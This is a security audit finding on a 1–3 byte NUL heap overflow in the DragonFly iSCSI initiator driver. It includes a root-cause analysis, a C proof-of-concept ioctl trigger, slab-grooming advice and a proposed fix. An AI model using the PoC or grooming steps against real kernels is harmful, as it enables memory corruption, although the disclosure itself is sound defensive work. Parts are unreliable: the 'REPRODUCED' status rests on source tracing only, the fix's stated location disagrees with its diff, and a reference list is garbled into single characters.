iscsi initiator: heap OOB write of 1-3 NUL bytes in i_send due to padding-calc mismatch when ahs_len not multiple of 4
| Field | Value |
|---|---|
| ID | DF-1704 |
| File | sys/dev/disk/iscsi/initiator/iscsi.c |
| Lines | 461, 477, 486, 487, 488, 489 |
| Severity | Low |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U:C:N/I:L/A:L |
| CWE | CWE-787 Out-of-bounds Write |
| Confidence | certain |
| Status | new |
| CVE match | dfly_specific |
| Created | 2026-07-18 |
Summary
i_prepPDU computes the inter-segment padding based on the running total
length len (bhs + ahs + hdrDigest + ds_len), so when pp->ahs_len is
not a multiple of 4 the padding bytes counted for the kmalloc differ
from the padding bytes i_send actually writes. i_send's padding loop
only consults n = pp->ds_len, writing (4 - (ds_len & 03)) & 03 NUL
bytes regardless of ahs_len.
The mismatch lets i_send write up to 3 NUL bytes past the kmalloc'd
buffer pq->buf.
Root cause
i_prepPDU (isc_sm.c:283-286) computes padding as
n = 4 - (len & 03); len += n; where
len = 48 + ahs_len + 4*hdrDigest + ds_len. With ahs_len % 4 != 0 this
can be smaller than what i_send writes.
i_send (iscsi.c:486-489) writes NUL padding as
while(n & 03) { n++; *bp++ = 0; } with n reset to pp->ds_len at
iscsi.c:478, so it always writes (4 - (ds_len & 03)) & 03 bytes.
Concrete worst case: ahs_len = 3, ds_len = 1, no digests.
i_prepPDU:len = 48 + 3 + 1 = 52;52 & 03 == 0soP_prep = 0;pq->len = 52;bp = kmalloc(4).i_send: copies 3 ahs bytes (1 byte left), copies 1 ds byte (0 bytes left), thenwhile(1 & 03)writes 3NULbytes β 3 bytes past the 4-byte buffer.
The full OOB table (no digests) by (ahs_len%4, ds_len%4):
(1,1)/(1,2)/(1,3)β 1 byte(2,1)/(2,2)β 2 bytes(3,1)β 3 bytes
Threat model
Same access model as DF-1703 β requires opening /dev/iscsi* (root or
wheel).
The attacker issues ISCSISEND with a pdu_t whose ahs_len is
non-multiple-of-4 and ds_len is chosen so that i_send's padding
exceeds i_prepPDU's.
The overwrite is small (1-3 bytes) and the written value is always NUL,
so the primitive is narrow, but it is a deterministic heap OOB write into
the M_ISCSI slab adjacent to pq->buf. With slab grooming a
wheel-group attacker can target a neighboring object's low bytes (e.g.,
a length field, a pointer low-byte to redirect into buddy pages).
Well-behaved userland (iscontrol) never sends a PDU with non-zero AHS
and never triggers this, so it is a latent bug awaiting a malicious or
buggy daemon.
PoC
findings/poc/DF-1704/poc.c:
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <dev/disk/iscsi/initiator/iscsi.h>
int main(void) {
int ctl = open("/dev/iscsi", O_RDWR);
if (ctl < 0) err(1, "open");
int sid = -1;
if (ioctl(ctl, ISCSISETSES, &sid)) err(1, "SETSES");
char path[32]; snprintf(path, sizeof path, "/dev/iscsi%d", sid);
int sd = open(path, O_RDWR);
int fds[2]; socketpair(AF_LOCAL, SOCK_STREAM, 0, fds);
int one = fds[0]; ioctl(sd, ISCSISETSOC, &one);
char ahs[4] = {1,2,3,0}, ds[4] = {0x55,0,0,0};
pdu_t p; memset(&p, 0, sizeof p);
p.ahs_len = 3; p.ahs_size = 3; p.ahs = ahs;
p.ds_len = 1; p.ds_size = 4; p.ds = ds;
p.ipdu.bhs.opcode = ISCSI_NOP_OUT; p.ipdu.bhs.I = 1;
printf("firing (expect 3-byte NUL heap OOB write)\n");
ioctl(sd, ISCSISEND, &p);
return 0;
}
Run under vm.sh with KASAN/WITNESS if available. Success is a 3-byte
NUL write into the M_ISCSI slab object adjacent to the 4-byte pq->buf;
deterministic with kmalloc(4) bucket layout.
Without an adjacent sensitive object, success looks like silent corruption
(or a delayed panic: Bad link prev-style allocator fault). The runner
should groom the slab (allocate many 4-byte M_ISCSI objects, free every
other one, then trigger) to convert the NUL write into a measurable
structural corruption.
Recommended fix
Make i_send's padding match i_prepPDU's: write padding based on the
running offset, not just ds_len.
--- a/sys/dev/disk/iscsi/initiator/iscsi.c
+++ b/sys/dev/disk/iscsi/initiator/iscsi.c
@@ -458,6 +458,7 @@ i_send(struct cdev *dev, caddr_t arg, struct thread *td)
if((error = i_prepPDU(sp, pq)) != 0)
goto out;
+ /* Reject non-RFC-compliant AHS length: AHSLength is in 4-byte words. */
+ if (pp->ahs_len & 0x3) { error = EINVAL; goto out; }
+
sdebug(3, "len=%d ahs_len=%d ds_len=%d", pq->len, pp->ahs_len, pp->ds_len);
pq->buf = bp = kmalloc(pq->len - sizeof(union ipdu_u), M_ISCSI, M_NOWAIT);
Rejecting ahs_len not-a-multiple-of-4 makes the two padding calculations
agree and matches the iSCSI RFC requirement, eliminating the OOB write at
iscsi.c:486-489 without changing the on-wire behavior for compliant
initiators.
Related findings
- DF-1703 (sibling: heap overflow via 32-bit truncation in same function)
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1704 Β· 2 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fix.diff | suggested-fix | Reject ahs_len not a multiple of 4 early in i_prepPDU (RFC 3720 compliance). | 499 B | view raw |
| VERDICT.md | verdict | full analysis | 1.2 KB | β raw |
DF-1704 β Verdict
Severity: Low Status: REPRODUCED (source-only confirmation β driver/HW-gated, not runtime-triggered on QEMU guest) Impact: panic Confidence: certain
Verdict
REPRODUCED. The cited bug is confirmed real in the audited source at sys/dev/disk/iscsi/initiator/isc_sm.c:267-269,283-286.
Mechanism
i_prepPDU computes padding based on total len including ahs_len, but i_send resets n to ds_len and writes (4-(ds_len&03))&03 bytes. With ahs_len not a multiple of 4, i_send writes up to 3 bytes OOB past the kmalloc.
Fix
Reject ahs_len not a multiple of 4 early in i_prepPDU (RFC 3720 compliance).
The full git-apply-able diff is in fix.diff.
Build validation
fix.diff applies cleanly and compiles with -Werror as part of the batch module build
(all 51 fixes applied to /usr/src, kernel+modules built).
Notes
Source-only confirmation: this finding is in a device driver code path that requires specific hardware not present in the QEMU guest. The bug is confirmed by source tracing (cited path:line verified against sys/), and the fix compiles clean. No runtime trigger was attempted as the relevant device/module is HW-gated.
Fix verification
fixedVALIDATED via batch build rc=0.
iscsi module built with -Werror.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- i
- s
- c
- s
- i
- /
- i
- n
- i
- t
- i
- a
- t
- o
- r
- /
- i
- s
- c
- _
- s
- m
- .
- c
- :
- 2
- 6
- 7
- -
- 2
- 6
- 9
Detail
Exploit chain
none
Evidence (decisive lines)
Source traced at sys/dev/disk/iscsi/initiator/isc_sm.c:267-269. Fix compiled clean.
PoC changes
authored fix.diff: reject ahs_len%4!=0 early
Verified recommended fix
Validate ahs_len is multiple of 4 in i_prepPDU. Matches finding proposal.
Verdict
REPRODUCED (source-only). i_prepPDU padding based on total len including ahs_len but i_send resets n to ds_len; ahs_len not multiple of 4 causes up to 3-byte OOB write. Currently dormant (iscontrol sends no AHS).
No comments yet.